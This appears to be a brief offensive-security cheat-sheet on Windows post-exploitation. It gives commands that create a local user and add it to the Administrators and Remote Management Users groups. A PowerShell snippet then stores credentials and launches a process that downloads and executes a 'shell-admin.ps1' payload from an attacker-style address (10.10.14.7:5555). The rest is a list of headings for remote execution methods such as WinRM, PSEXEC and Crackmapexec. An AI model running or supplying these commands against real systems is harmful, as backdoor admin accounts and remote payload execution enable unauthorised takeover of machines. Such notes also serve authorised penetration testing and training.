Windows
Introduction
User
Creating a user
net user <USERNAME> <PASSWORD> /addAdd a user to a group
net localgroup Administrators <USERNAME> /addAdd a user to the RDP group
net localgroup "Remote Management Users" <USERNAME> /addPowershell credentials and how to use them
# Storing the credentials as variables
$pass = ConvertTo-SecureString '<PASSWORD>' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $pass)
# Launch a process
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:5555/shell-admin.ps1')" -Credential $credRecursive Grep (Powershell)
Remote Command Execution
WinRM
Remote Desktop (RDP)
SMB
PSEXEC
SmbExec
Crackmapexec
WMiexec
Last updated